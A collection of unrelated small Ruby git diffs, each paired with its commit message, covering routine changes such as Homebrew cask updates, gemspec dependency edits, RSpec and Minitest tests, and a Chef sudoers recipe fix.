diff --git a/lib/jekyll_social_icons/option_parser.rb b/lib/jekyll_social_icons/option_parser.rb index abc1234..def5678 100644 --- a/lib/jekyll_social_icons/option_parser.rb +++ b/lib/jekyll_social_icons/option_parser.rb @@ -0,0 +1,32 @@+module Jekyll + class OptionParser + icons_json = JSON.parse(IO.readlines(File.expand_path('icons.json', File.dirname(__FILE__))).join) + available_socials = icons_json.keys + + OPTIONS_SYNTAX = %r!([^\s]+)\s*=\s*['"]+([^'"]+)['"]+! + ALLOWED_SOCIALS = available_socials.freeze + ALLOWED_ATTRIBUTES = %w( + id + class + width + height + ).freeze + + class << self + def parse(raw_options) + options = { + attributes: {} + } + raw_options.scan(OPTIONS_SYNTAX).each do |key, value| + if ALLOWED_ATTRIBUTES.include?(key) + options[:attributes][key.to_sym] = value + end + if key.to_sym == :socials + options[:socials] = value.split(' ').select { |k, v| ALLOWED_SOCIALS.include?(k) } + end + end + options + end + end + end +end
Create an option parser to process the args passed to the tag
diff --git a/spec/dummy/config/boot.rb b/spec/dummy/config/boot.rb index abc1234..def5678 100644 --- a/spec/dummy/config/boot.rb +++ b/spec/dummy/config/boot.rb @@ -2,9 +2,10 @@ gemfile = File.expand_path('../../../../Gemfile', __FILE__) if File.exist?(gemfile) - ENV['BUNDLE_GEMFILE'] = gemfile + ENV['BUNDLE_GEMFILE'] ||= gemfile require 'bundler' Bundler.setup end -$:.unshift File.expand_path('../../../../lib', __FILE__)+$:.unshift File.expand_path('../../../../lib', __FILE__) +
Fix Gemfile ENV variable being reset
diff --git a/spec/title_search_spec.rb b/spec/title_search_spec.rb index abc1234..def5678 100644 --- a/spec/title_search_spec.rb +++ b/spec/title_search_spec.rb @@ -4,7 +4,7 @@ describe "Title Search" do it "700t included in title search: Gothic classics b4156972" do - #Quick sanity check + #Quick sanity check - exact title match. resp = solr_resp_doc_ids_only(title_search_args('gothic classics')) resp.should have_document(did("b4156972"), 5) #This value is in 700t for this document. @@ -12,4 +12,9 @@ resp.should have_document(did("b4156972"), 5) end + it "505t included in title search: Gothic classics b4156972" do + resp = solr_resp_doc_ids_only(title_search_args("I've a pain in my head")) + resp.should have_document(did("b4156972"), 5) + end + end
Add 505t test as well.
diff --git a/lib/kvg_character_recognition/datastore.rb b/lib/kvg_character_recognition/datastore.rb index abc1234..def5678 100644 --- a/lib/kvg_character_recognition/datastore.rb +++ b/lib/kvg_character_recognition/datastore.rb @@ -9,7 +9,7 @@ def load_file filename begin - JSON.parse(File.read(filename), symbolize_names: true) + JSON.parse(File.read(filename, encoding: 'utf-8'), symbolize_names: true) rescue puts "WARNING: Can't load file, returning empty character collection." []
Add encoding utf-8 to file otherwise some systems fall back to ascii
diff --git a/lib/lotus/view/rendering/partial_finder.rb b/lib/lotus/view/rendering/partial_finder.rb index abc1234..def5678 100644 --- a/lib/lotus/view/rendering/partial_finder.rb +++ b/lib/lotus/view/rendering/partial_finder.rb @@ -22,7 +22,36 @@ # "_sidebar.html.erb" PREFIX = '_'.freeze + # Find a template for a partial. Initially it will look for the + # partial template under the directory of the parent directory + # view template, if not found it will search recursivly from + # the view root. + # + # @return [Lotus::View::Template] the requested template + # + # @see Lotus::View::Rendering::TemplateFinder#find + def find + if partial_template_exists_under_view? + View::Template.new partial_template_under_view_path + else + super + end + end + protected + def partial_template_exists_under_view? + File.exists?(partial_template_under_view_path) + end + + def partial_template_under_view_path + Dir.glob("#{[root,view_template_dir, template_name].join(separator)}.#{format}.#{engines}").first.to_s + end + + def view_template_dir + *all, last = @view.template.split(separator) + all.join(separator) + end + def template_name *all, last = partial_name.split(separator) all.push( last.prepend(prefix) ).join(separator)
Modify PartialFinder to search for partial template under directory of view template, if not found search recursively from root.
diff --git a/lib/paper_trail_scrapbook/journal_entry.rb b/lib/paper_trail_scrapbook/journal_entry.rb index abc1234..def5678 100644 --- a/lib/paper_trail_scrapbook/journal_entry.rb +++ b/lib/paper_trail_scrapbook/journal_entry.rb @@ -0,0 +1,33 @@+require_relative 'version_helpers' + +module PaperTrailScrapbook + # Class JournalEntry provides single version history analysis + # + # @author Jason Dinsmore <jason@dinjas.com> + # + class JournalEntry + include Concord.new(:version) + include Adamantium::Flat + include PaperTrailScrapbook::VersionHelpers + + delegate :event, to: :version + + # Single version historical analysis + # + # @return [String] Human readable description of changes + # + def story + updates = changes + return unless create? || updates.present? || !config.filter_non_changes + + "#{preface}\n#{updates}" + end + + private + + def preface + "On #{whenn}, #{kind} #{model}[#{model_id}]:".squeeze(' ') + end + + end +end
Add journal entry class - equivalent to Chapter but for UserJournal
diff --git a/lib/transition/csv_separator_detector.rb b/lib/transition/csv_separator_detector.rb index abc1234..def5678 100644 --- a/lib/transition/csv_separator_detector.rb +++ b/lib/transition/csv_separator_detector.rb @@ -9,7 +9,7 @@ def separator_count(separator) counts = @rows.map { |row| row.count(separator) } - counts.inject { |sum, count| sum + count } + counts.reduce(&:+) end def comma_count
Use .reduce(&:+) to sum elements in an array
diff --git a/modules/golang/spec/classes/golang_spec.rb b/modules/golang/spec/classes/golang_spec.rb index abc1234..def5678 100644 --- a/modules/golang/spec/classes/golang_spec.rb +++ b/modules/golang/spec/classes/golang_spec.rb @@ -13,7 +13,7 @@ end context 'not in development' do - let(:facts) {{}} + let(:facts) {{domain: 'somethingelse'}} it { is_expected.not_to contain_file(file_path) } end end
Fix a test that fails in development The domain for this test is 'development' when run on the dev vm so the test's context is wrong. Instead, set it to 'somethingelse' that's definitely not 'development'.
diff --git a/spec/controllers/pages_controller_spec.rb b/spec/controllers/pages_controller_spec.rb index abc1234..def5678 100644 --- a/spec/controllers/pages_controller_spec.rb +++ b/spec/controllers/pages_controller_spec.rb @@ -21,4 +21,11 @@ expect(response).to render_template :contact end end + + describe 'GET #beliefs' do + it 'renders the Beliefs view' do + get :beliefs + expect(response).to render_template :beliefs + end + end end
Add test for Beliefs page
diff --git a/spec/integration/public_relations_spec.rb b/spec/integration/public_relations_spec.rb index abc1234..def5678 100644 --- a/spec/integration/public_relations_spec.rb +++ b/spec/integration/public_relations_spec.rb @@ -17,7 +17,6 @@ attribute :title, String attribute :priority, Integer - attribute :created_at, DateTime end end end
Remove not used attribute from spec
diff --git a/Casks/chrome-devtools.rb b/Casks/chrome-devtools.rb index abc1234..def5678 100644 --- a/Casks/chrome-devtools.rb +++ b/Casks/chrome-devtools.rb @@ -1,8 +1,9 @@ cask :v1 => 'chrome-devtools' do - version :latest - sha256 :no_check + version '1.1.0' + sha256 'decb98cf06ed9dd65301449347e788dd757315460cf3c77ad91ceb3ef503831a' - url 'https://github.com/auchenberg/chrome-devtools-app/raw/master/build/Chrome%20DevTools/osx/Chrome-DevTools.app.zip' + url "https://github.com/auchenberg/chrome-devtools-app/releases/download/v#{version}/chrome-devtools-app_#{version}.dmg" + appcast 'https://github.com/auchenberg/chrome-devtools-app/releases.atom' name 'Chrome DevTools' homepage 'https://github.com/auchenberg/chrome-devtools-app' license :mit
Update Chrome devtools to 1.1.0
diff --git a/crow.gemspec b/crow.gemspec index abc1234..def5678 100644 --- a/crow.gemspec +++ b/crow.gemspec @@ -19,6 +19,9 @@ spec.add_development_dependency "rake", ">= 10.0.1" spec.add_development_dependency "coveralls", ">= 0.6.7" + spec.add_development_dependency "narray", ">= 0.6.0.8" + spec.add_development_dependency "rake-compiler", ">= 0.8.3" + spec.files = `git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(test|spec|features|gem)/}) } spec.bindir = "exe" spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
Add project compile dependencies to development gems
diff --git a/cookbooks/geoipupdate/recipes/default.rb b/cookbooks/geoipupdate/recipes/default.rb index abc1234..def5678 100644 --- a/cookbooks/geoipupdate/recipes/default.rb +++ b/cookbooks/geoipupdate/recipes/default.rb @@ -21,9 +21,7 @@ license_keys = data_bag_item("geoipupdate", "license-keys") -package "geoipupdate" do - action [:install, :upgrade] -end +package "geoipupdate" template "/etc/GeoIP.conf" do source "GeoIP.conf.erb"
Drop forced upgrade of geoipupdate
diff --git a/core/app/controllers/facts_controller.rb b/core/app/controllers/facts_controller.rb index abc1234..def5678 100644 --- a/core/app/controllers/facts_controller.rb +++ b/core/app/controllers/facts_controller.rb @@ -1,9 +1,5 @@ class FactsController < ApplicationController - def show - dead_fact = interactor(:'facts/get', id: params[:id]) - - render json: dead_fact - end + pavlov_action :show, Interactors::Facts::Get def discussion_page_redirect dead_fact = interactor(:'facts/get', id: params[:id])
Use pavlov_action for show action
diff --git a/support/rspec2_formatter.rb b/support/rspec2_formatter.rb index abc1234..def5678 100644 --- a/support/rspec2_formatter.rb +++ b/support/rspec2_formatter.rb @@ -27,17 +27,17 @@ exception = example.metadata[:execution_result][:exception] backtrace = format_backtrace(exception.backtrace, example).join("\n") - message = exception.message + location = example.location if shared_group = find_shared_group(example) - message += "\nShared example group called from " + + location += "\nShared example group called from " + backtrace_line(shared_group.metadata[:example_group][:location]) end @@buffet_server.example_failed(@@slave_name, { :description => example.description, :backtrace => backtrace, - :message => message, - :location => example.location, + :message => exception.message, + :location => location, :slave_name => @@slave_name, }) end
Append failed shared example info to location, not message Shared example caller info was being displayed at the end of failure output, which can be confusing when there are multiple failures. Append the info to the location string instead, which seems more sensible anyway. Change-Id: I93dd5b7d8fffa73b5d99d2c3df66db415954331c Reviewed-on: https://gerrit.causes.com/11961 Tested-by: Lann Martin <564fa7a717c51b612962ea128f146981a0e99d90@causes.com> Reviewed-by: Aiden Scandella <1faf1e8390cdac9204f160c35828cc423b7acd7b@causes.com>
diff --git a/Casks/messenger-for-telegram.rb b/Casks/messenger-for-telegram.rb index abc1234..def5678 100644 --- a/Casks/messenger-for-telegram.rb +++ b/Casks/messenger-for-telegram.rb @@ -6,5 +6,5 @@ appcast 'https://rink.hockeyapp.net/api/2/apps/c55f5e74ae5d0ad254df29f71a1b5f0e' homepage 'https://vk.com/telegram_osx' - link 'Messenger for Telegram.app' + link 'Telegram.app' end
Apply proper symlink for 'Messenger for Telegram'
diff --git a/test/functional/view_helpers_test.rb b/test/functional/view_helpers_test.rb index abc1234..def5678 100644 --- a/test/functional/view_helpers_test.rb +++ b/test/functional/view_helpers_test.rb @@ -1,10 +1,9 @@ require File.dirname(__FILE__) + '/../test_helper' -class ViewHelpersTest < Test::Unit::TestCase +class ViewHelpersTest < ActionController::TestCase + tests AssetsController + def setup - @controller = AssetsController.new - @request = ActionController::TestRequest.new - @response = ActionController::TestResponse.new get :index end
Use ActionController::TestCase to get access to the relevant assertions.
diff --git a/test/functional/search_controller_test.rb b/test/functional/search_controller_test.rb index abc1234..def5678 100644 --- a/test/functional/search_controller_test.rb +++ b/test/functional/search_controller_test.rb @@ -4,10 +4,26 @@ include Devise::TestHelpers test "should get index" do + # Only signing in so that is_authenticated_user? doesn't fail sign_in User.first + sign_out User.first get :index, nil, {current_project_id: Project.first.id} assert_response :success assert_not_nil assigns(:iczn_groups) - sign_out User.first + end + + test "should download all" do + i = IcznGroup.first + params = {download_all: '1', + select_all_traits: '1', + include_references: '1', + "#{i.name}[0]" => "#{i.id}", + format: :csv + } + post :results, params, {current_project_id: Project.first.id} + assert assigns :results + assert_response :success + assert_template 'search/results' + assert_equal @response.content_type, 'text/csv' end end
Test case for should download all Also makes should get index sign out before doing anything
diff --git a/Casks/airmail-beta.rb b/Casks/airmail-beta.rb index abc1234..def5678 100644 --- a/Casks/airmail-beta.rb +++ b/Casks/airmail-beta.rb @@ -1,14 +1,14 @@ cask 'airmail-beta' do - version '2.6.1,352' - sha256 '8ddc915a1e7e5031ff592925d55d8016992e17f497d90135d4dbafac127ee6f3' + version '2.6.1,353' + sha256 'a728b354f1065f2b3d92f053af42e5288546103522438f39e5f8ad210442fb29' # hockeyapp.net/api/2/apps/84be85c3331ee1d222fd7f0b59e41b04 was verified as official when first introduced to the cask url 'https://rink.hockeyapp.net/api/2/apps/84be85c3331ee1d222fd7f0b59e41b04?format=zip' appcast 'https://rink.hockeyapp.net/api/2/apps/84be85c3331ee1d222fd7f0b59e41b04', - checkpoint: 'fa45a73c4d4dc64377e3e5ffbd356fd416a573d676c8d9eb74465d1100f52a01' + checkpoint: '702b1b55240acf127b651b3461e2bc2b56c4abde0ece48ee65dff9b3247f09b4' name 'AirMail' homepage 'http://airmailapp.com/beta/' - license :unknown # TODO: change license and remove this comment; ':unknown' is a machine-generated placeholder + license :commercial app 'AirMail Beta.app' end
Update Airmail Beta to version 2.6.1,353 This commit updates the version, sha256 and checkpoint stanzas. It also changes the license from `:unknown` to `:commercial`
diff --git a/Casks/plex-media-player.rb b/Casks/plex-media-player.rb index abc1234..def5678 100644 --- a/Casks/plex-media-player.rb +++ b/Casks/plex-media-player.rb @@ -0,0 +1,11 @@+cask :v1 => 'plex-media-player' do + version '1.0.0.5-53192cb0' + sha256 '82e11dde797d36d8e68e7aa2b5b25c70a05207f200737317810b8303ca54c329' + + url "https://downloads.plex.tv/plexmediaplayer/#{version}/PlexMediaPlayer-#{version}-macosx-x86_64.zip" + name 'Plex Media Player' + homepage 'https://plex.tv/' + license :gratis + + app 'Plex Media Player.app' +end
Add Plex Media Player 1.0.0.5-53192cb0
diff --git a/transilien_microservices.gemspec b/transilien_microservices.gemspec index abc1234..def5678 100644 --- a/transilien_microservices.gemspec +++ b/transilien_microservices.gemspec @@ -13,7 +13,7 @@ gem.homepage = "" gem.add_runtime_dependency('faraday', '>= 0.8.4') # HTTP(S) connections - gem.add_runtime_dependency('nokogiri', '>= 1.5.5') # XML parsing + gem.add_runtime_dependency('nokogiri', '>= 1.6') # XML parsing gem.files = `git ls-files`.split($/) gem.executables = gem.files.grep(%r{^bin/}).map{ |f| File.basename(f) }
Upgrade nokogiri due to security issue
diff --git a/review.gemspec b/review.gemspec index abc1234..def5678 100644 --- a/review.gemspec +++ b/review.gemspec @@ -26,6 +26,5 @@ gem.add_development_dependency("rake") gem.add_development_dependency("test-unit") - gem.add_development_dependency("pygments.rb") end
Revert "enable pygments.rb in development and test environments with Bundler" cf. https://github.com/kmuto/review/issues/394 This reverts commit 6d99763898d292931c4db4b3fe892e5102474dac.
diff --git a/17-createWallOfWoolWithRandomColour.rb b/17-createWallOfWoolWithRandomColour.rb index abc1234..def5678 100644 --- a/17-createWallOfWoolWithRandomColour.rb +++ b/17-createWallOfWoolWithRandomColour.rb @@ -3,6 +3,14 @@ # import needed block defintiions require_relative 'mcpi/block' +# create a function to create a random block of wool +def getWoolBlockWithRandomColour() + #Generate a random number within the allowed range of colours (0 to 15 inclusive) + randomNumber = rand(16) + puts("random number to be used = #{randomNumber}") + block = WOOL.withData(randomNumber) + return block +end # Create a connection to the Minecraft game mc = Minecraft.create() @@ -24,12 +32,9 @@ for column in 0...10 #increase the distance along the row that the block is placed at blockXposn += 1 - #Generate a random number within the allowed range of colours (0 to 15 inclusive) - randomNumber = rand(16) - puts("random number to be used = #{randomNumber}") puts("Creating block at (#{blockXposn}, #{blockYposn}, #{blockZposn})") # Create a block - mc.setBlock(blockXposn, blockYposn, blockZposn, WOOL.withData(randomNumber)) + mc.setBlock(blockXposn, blockYposn, blockZposn, getWoolBlockWithRandomColour()) sleep(0.5) end end
Use function for random block creation Move random block creation out to separate function This shows how to use functions in own script
diff --git a/test/models/optional_modules/mailings/mailing_user_test.rb b/test/models/optional_modules/mailings/mailing_user_test.rb index abc1234..def5678 100644 --- a/test/models/optional_modules/mailings/mailing_user_test.rb +++ b/test/models/optional_modules/mailings/mailing_user_test.rb @@ -11,6 +11,45 @@ assert_not_includes @mailing_user.mailing_messages.map(&:title), @mailing_message_two.title end + # + # == Validations + # + test 'should not save if email is nil' do + mailing_user = MailingUser.new + assert_not mailing_user.valid? + assert_equal [:email, :lang], mailing_user.errors.keys + end + + test 'should save if email is blank' do + mailing_user = MailingUser.new(email: '') + assert_not mailing_user.valid? + assert_equal [:email, :lang], mailing_user.errors.keys + end + + test 'should not save if email is not correct' do + mailing_user = MailingUser.new(email: 'mailing') + assert_not mailing_user.valid? + assert_equal [:email, :lang], mailing_user.errors.keys + end + + test 'should not save if email is correct but not lang' do + mailing_user = MailingUser.new(email: 'mailing@test.com') + assert_not mailing_user.valid? + assert_equal [:lang], mailing_user.errors.keys + end + + test 'should not save if email is correct but lang is forbidden' do + mailing_user = MailingUser.new(email: 'mailing@test.com', lang: 'de') + assert_not mailing_user.valid? + assert_equal [:lang], mailing_user.errors.keys + end + + test 'should save if email is correct and with lang' do + mailing_user = MailingUser.new(email: 'mailing@test.com', lang: 'fr') + assert mailing_user.valid? + assert mailing_user.errors.keys.empty? + end + private def initialize_test
Add tests for email and lang validation rules for MailingUser
diff --git a/guard-kitchen.gemspec b/guard-kitchen.gemspec index abc1234..def5678 100644 --- a/guard-kitchen.gemspec +++ b/guard-kitchen.gemspec @@ -7,10 +7,10 @@ spec.name = "guard-kitchen" spec.version = Guard::Kitchen::VERSION spec.authors = ["Adam Jacob"] - spec.email = ["adam@opscode.com"] + spec.email = ["adam@chef.io"] spec.description = %q{Guard plugin for test kitchen} spec.summary = %q{Guard plugin for test kitchen} - spec.homepage = "http://github.com/opscode/guard-kitchen" + spec.homepage = "http://github.com/test-kitchen/guard-kitchen" spec.license = "Apache 2" spec.files = `git ls-files`.split($/) @@ -20,6 +20,6 @@ spec.add_dependency "guard", "> 2.0.0" spec.add_dependency "mixlib-shellout" - spec.add_development_dependency "bundler", "~> 1.3" + spec.add_development_dependency "bundler" spec.add_development_dependency "rake" end
Update URLs and unpin bundler dev dep
diff --git a/lib/london_bike_hire_cli/basic_renderer.rb b/lib/london_bike_hire_cli/basic_renderer.rb index abc1234..def5678 100644 --- a/lib/london_bike_hire_cli/basic_renderer.rb +++ b/lib/london_bike_hire_cli/basic_renderer.rb @@ -25,7 +25,11 @@ end def find_template(template_name) - File.read("lib/london_bike_hire_cli/views/#{template_name}.erb") + File.read("#{template_dir}/#{template_name}.erb") + end + + def template_dir + File.expand_path('../views/', __FILE__) end end end
Use relative path from renderer class
diff --git a/lib/middlewares/override_welcome_action.rb b/lib/middlewares/override_welcome_action.rb index abc1234..def5678 100644 --- a/lib/middlewares/override_welcome_action.rb +++ b/lib/middlewares/override_welcome_action.rb @@ -20,7 +20,11 @@ # If the path is the homepage, the route should be the site root path if env["PATH_INFO"] == "/" && env["gobierto_site"].present? # A CMS page is handled by meta welcome controller - if env["gobierto_site"].configuration.home_page != "GobiertoCms" + home_page_module = env["gobierto_site"].configuration.home_page + if home_page_module != "GobiertoCms" + # GobiertoPeople has translations in paths, and the value in the cookie + # is overrided + I18n.locale = env["gobierto_site"].configuration.default_locale if home_page_module == "GobiertoPeople" env["PATH_INFO"] = env["gobierto_site"].root_path env["gobierto_welcome_override"] = true end
Set site default locale when module is GobiertoPeople in override welcome action for / path
diff --git a/app/controllers/users.rb b/app/controllers/users.rb index abc1234..def5678 100644 --- a/app/controllers/users.rb +++ b/app/controllers/users.rb @@ -57,3 +57,20 @@ erb :'users/signup' end end + +put '/users/:id' do + @user = current_user + + if @user.password == params[:current_password] + @user.update(params[:user]) + + if @user.errors.nil? + redirect '/surveys' + else + @errors = @user.errors.full_messages + erb :'users/edit' + end + else + @errors = ["Incorrect Password"] + end +end
Add route allowing a user to edit their password. This route checks to make sure that the user has provided their password and that password is correct. The route also checks if the update is successful. If it, the user gets redirected to '/surveys'; otherwise they are shown the form again with proper error messages.
diff --git a/nude.gemspec b/nude.gemspec index abc1234..def5678 100644 --- a/nude.gemspec +++ b/nude.gemspec @@ -20,5 +20,10 @@ spec.require_paths = ['lib'] spec.add_development_dependency 'bundler', '~> 1.3' + spec.add_development_dependency 'growl' + spec.add_development_dependency 'guard-rspec' spec.add_development_dependency 'rake' + spec.add_development_dependency 'rspec' + spec.add_development_dependency 'simplecov' + spec.add_development_dependency 'yard' end
Add growl, guard-rspec, rspec, simplecov & yard gems to development dependency.
diff --git a/lib/ransack_ui/ransack_overrides/search.rb b/lib/ransack_ui/ransack_overrides/search.rb index abc1234..def5678 100644 --- a/lib/ransack_ui/ransack_overrides/search.rb +++ b/lib/ransack_ui/ransack_overrides/search.rb @@ -3,11 +3,14 @@ module Ransack Search.class_eval do def initialize(object, params = {}, options = {}) - params ||= {} + params = {} unless params.is_a?(Hash) + (params ||= {}) + .delete_if { |k, v| [*v].all? { |i| i.blank? && i != false } } @context = Context.for(object, options) @context.auth_object = options[:auth_object] @base = Nodes::Grouping.new(@context, options[:grouping] || 'and') + @scope_args = {} build(params.with_indifferent_access) end end -end+end
Update for use with activerecord-hackery gem version
diff --git a/lib/sessions/event/chat_status_customer.rb b/lib/sessions/event/chat_status_customer.rb index abc1234..def5678 100644 --- a/lib/sessions/event/chat_status_customer.rb +++ b/lib/sessions/event/chat_status_customer.rb @@ -17,6 +17,10 @@ session_id = nil if @data['data']['session_id'] session_id = @data['data']['session_id'] + + # update recipients of existing sessions + chat_session = Chat::Session.find_by(session_id: session_id) + chat_session.add_recipient(@client_id, true) end { event: 'chat_status_customer',
Update ws client ids in reconnect.
diff --git a/test/bmff/box/test_media_data.rb b/test/bmff/box/test_media_data.rb index abc1234..def5678 100644 --- a/test/bmff/box/test_media_data.rb +++ b/test/bmff/box/test_media_data.rb @@ -0,0 +1,25 @@+# coding: utf-8 +# vim: set expandtab tabstop=2 shiftwidth=2 softtabstop=2 autoindent: + +require_relative '../../minitest_helper' +require 'bmff/box' +require 'stringio' + +class TestBMFFBoxMediaData < MiniTest::Unit::TestCase + def test_parse + io = StringIO.new("", "r+:ascii-8bit") + io.extend(BMFF::BinaryAccessor) + io.write_uint32(0) + io.write_ascii("mdat") + io.write_byte("abcdefg") # data + size = io.pos + io.pos = 0 + io.write_uint32(size) + io.pos = 0 + + box = BMFF::Box.get_box(io, nil) + assert_instance_of(BMFF::Box::MediaData, box) + assert_equal(size, box.actual_size) + assert_equal("mdat", box.type) + end +end
Add a test file for BMFF::Box::MediaData.
diff --git a/test/dummy/config/application.rb b/test/dummy/config/application.rb index abc1234..def5678 100644 --- a/test/dummy/config/application.rb +++ b/test/dummy/config/application.rb @@ -1,9 +1,11 @@+require 'pry' + require File.expand_path('../boot', __FILE__) require 'rails/all' Bundler.require(*Rails.groups) -require "blogplugin" +require "sizzle-chisel" module Dummy class Application < Rails::Application
Remove stale reference to blogplugin
diff --git a/Library/Formula/aspell.rb b/Library/Formula/aspell.rb index abc1234..def5678 100644 --- a/Library/Formula/aspell.rb +++ b/Library/Formula/aspell.rb @@ -6,6 +6,7 @@ md5 'bc80f0198773d5c05086522be67334eb' def install + ENV.gcc_4_2 system "./configure", "--prefix=#{prefix}" system "make install" end
Revert "Aspell compiles with newer LLVM." This reverts commit f34d241fa1b43742416192e31271ed80ac427803. Doesn't seemingly build with LLVM for some people.
diff --git a/test/integration/banning_test.rb b/test/integration/banning_test.rb index abc1234..def5678 100644 --- a/test/integration/banning_test.rb +++ b/test/integration/banning_test.rb @@ -0,0 +1,22 @@+# frozen_string_literal: true + +require 'test_helper' +require 'integration/concerns/authenticated_test' +require 'support/web_mocking' + +class BanningTest < AuthenticatedTest + include WebMocking + + it 'automatically kicks out banned users' do + mocking_yahoo_woeid_info(@current_user.woeid) do + visit root_path + assert_selector '#header', text: @current_user.name + + @current_user.lock! + + visit root_path + assert_selector '#header', text: 'acceder' + assert_text 'Tu cuenta aún no ha sido activada' + end + end +end
Add a regression test for kicking out banned users
diff --git a/schema.gemspec b/schema.gemspec index abc1234..def5678 100644 --- a/schema.gemspec +++ b/schema.gemspec @@ -2,7 +2,7 @@ Gem::Specification.new do |s| s.name = 'schema' s.summary = "Primitives for schema and structure" - s.version = '0.1.1' + s.version = '0.1.2' s.description = ' ' s.authors = ['Obsidian Software, Inc']
Package version is increasd from 0.1.1 to 0.1.2
diff --git a/PDTSimpleCalendar.podspec b/PDTSimpleCalendar.podspec index abc1234..def5678 100644 --- a/PDTSimpleCalendar.podspec +++ b/PDTSimpleCalendar.podspec @@ -15,8 +15,7 @@ s.author = { "Jerome Miglino" => "jerome.miglino@jivesoftware.com" } s.platform = :ios, '6.0' s.source = { :git => "https://github.com/jivesoftware/PDTSimpleCalendar.git", :tag => s.version.to_s } - s.source_files = 'PDTSimpleCalendar/*.{h,m}', - s.exclude_files = 'PDTSimpleCalendarDemo' + s.source_files = 'PDTSimpleCalendar/**/*.{h,m}' s.requires_arc = true end
Fix podspec - Unwanted comma!
diff --git a/blinkbox-common_logging.gemspec b/blinkbox-common_logging.gemspec index abc1234..def5678 100644 --- a/blinkbox-common_logging.gemspec +++ b/blinkbox-common_logging.gemspec @@ -1,5 +1,5 @@ # -*- encoding: utf-8 -*- -$LOAD_PATH.unshift(File.join(__dir__, "lib")) +$LOAD_PATH.unshift(File.join(File.dirname(__FILE__), "lib")) Gem::Specification.new do |gem| gem.name = "blinkbox-common_logging"
Fix Travis using 1.9.3 to build gems
diff --git a/seisan.gemspec b/seisan.gemspec index abc1234..def5678 100644 --- a/seisan.gemspec +++ b/seisan.gemspec @@ -10,7 +10,7 @@ spec.email = ["koji.shimada@enishi-tech.com"] spec.description = %q{seisan solution for small team} spec.summary = %q{seisan solution for small team} - spec.homepage = "" + spec.homepage = "https://github.com/enishitech/seisan" spec.license = "MIT" spec.files = `git ls-files`.split($/)
Add repository url to gemspec
diff --git a/files/default/tests/minitest/service_test.rb b/files/default/tests/minitest/service_test.rb index abc1234..def5678 100644 --- a/files/default/tests/minitest/service_test.rb +++ b/files/default/tests/minitest/service_test.rb @@ -19,9 +19,6 @@ describe 'chef-client::service' do include Helpers::ChefClient it "starts the chef-client service" do - r = Chef::Resource::Service.new("chef-client", @run_context) - r.provider Chef::Provider::Service::Upstart - current_resource = r.provider_for_action(:start).load_current_resource - current_resource.running.must_equal true + service('chef-client').must_be_running end end
[COOK-3874] Revert f64d9017 from main server_test Signed-off-by: Sean OMeara <4025b808ec3cf11e3d5c9a1a3bd1e7c4003cb3a1@opscode.com>
diff --git a/test/controllers/store_controller_test.rb b/test/controllers/store_controller_test.rb index abc1234..def5678 100644 --- a/test/controllers/store_controller_test.rb +++ b/test/controllers/store_controller_test.rb @@ -4,6 +4,10 @@ test "should get index" do get :index assert_response :success + assert_select '#columns #side a', minimum: 4 + assert_select '#main .entry', 3 + assert_select 'h3', 'Programming Ruby 1.9' + assert_select '.price', /\$[,\d]+\.\d\d/ end end
Add functional test for store_controller
diff --git a/yard.gemspec b/yard.gemspec index abc1234..def5678 100644 --- a/yard.gemspec +++ b/yard.gemspec @@ -1,13 +1,13 @@ SPEC = Gem::Specification.new do |s| s.name = "yard" s.version = "0.2.3" - s.date = "2008-05-16" + s.date = "2009-06-07" s.author = "Loren Segal" - s.email = "lsegal, soen.ca" + s.email = "lsegal@soen.ca" s.homepage = "http://yard.soen.ca" s.platform = Gem::Platform::RUBY s.summary = "Documentation tool for consistent and usable documentation in Ruby." - s.files = Dir.glob("{bin,lib,spec,templates,benchmarks}/**/*") + ['LICENSE', 'docs/FAQ.markdown', 'README.markdown', 'Rakefile'] + s.files = Dir.glob("{docs,bin,lib,spec,templates,benchmarks}/**/*") + ['LICENSE', 'README.markdown', 'Rakefile'] s.require_paths = ['lib'] s.executables = [ 'yardoc', 'yri', 'yard-graph' ] s.has_rdoc = false
Update gemspec for 0.2.3 release
diff --git a/spec/models.rb b/spec/models.rb index abc1234..def5678 100644 --- a/spec/models.rb +++ b/spec/models.rb @@ -30,6 +30,9 @@ acts_as_tagger end +class InheritingTaggableUser < TaggableUser +end + class UntaggableModel < ActiveRecord::Base belongs_to :taggable_model end
Add inheriting user model to specs
diff --git a/app/models/reservation.rb b/app/models/reservation.rb index abc1234..def5678 100644 --- a/app/models/reservation.rb +++ b/app/models/reservation.rb @@ -1,5 +1,22 @@+class EmailValidator < ActiveModel::EachValidator + def validate_each(record, attribute, value) + record.errors.add attribute, (options[:message] || "is not an email") unless + value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i + end +end + class Reservation < ActiveRecord::Base belongs_to :transportation belongs_to :trip attr_accessible :additional_message, :attendance, :city_of_departure, :email, :name, :surname, :telephone + + validates :name, presence: true, length: { minimum: 2 } + validates :surname, presence: true, length: { minimum: 3 } + validates :telephone, presence: true, format: { with: /\+?\(?\)?\/?\d+/, on: :create } + validates :email, presence: true, email: true + validates :city_of_departure, presence: true, length: { minimum: 3 } + validates :attendance, presence: true, inclusion: { in: [true, false] } + validates :additional_message, presence: true + validates :transportation_id, presence: true + validates :trip_id, presence: true end
Add vaidations in Reservation model
diff --git a/worker_host/sudo/recipes/default.rb b/worker_host/sudo/recipes/default.rb index abc1234..def5678 100644 --- a/worker_host/sudo/recipes/default.rb +++ b/worker_host/sudo/recipes/default.rb @@ -20,8 +20,8 @@ node['sudo']['groups'].each do |group| file "/etc/sudoers.d/90-group-#{group}" do content <<-EOF.gsub(/^\s+> /, '') - # # Managed by Chef on #{node.name}, thanks! <3 <3 <3 - > # Members of the group '#{group}' may gain root privileges, woop! + > # Managed by Chef on #{node.name}, thanks! <3 <3 <3 + > # Members of the group #{group.inspect} may gain root privileges, woop! > %#{group} ALL=(ALL) ALL EOF mode 0440 @@ -33,8 +33,8 @@ node['sudo']['users'].each do |user| file "/etc/sudoers.d/90-user-#{user['name']}" do content <<-EOF.gsub(/^\s+> /, '') - # # Managed by Chef on #{node.name}, thanks! <3 <3 <3 - > # User #{user} may gain root priveleges, woop! + > # Managed by Chef on #{node.name}, thanks! <3 <3 <3 + > # User #{user['name'].inspect} may gain root priveleges, woop! > #{user['name']} ALL=(#{user['target_user'] || 'ALL' }) #{user['nopassword'] ? 'NOPASSWD: ' : ''} #{user['command'] || 'ALL'} EOF mode 0440
Fix indentation for Chef comment & use of `user['name']`
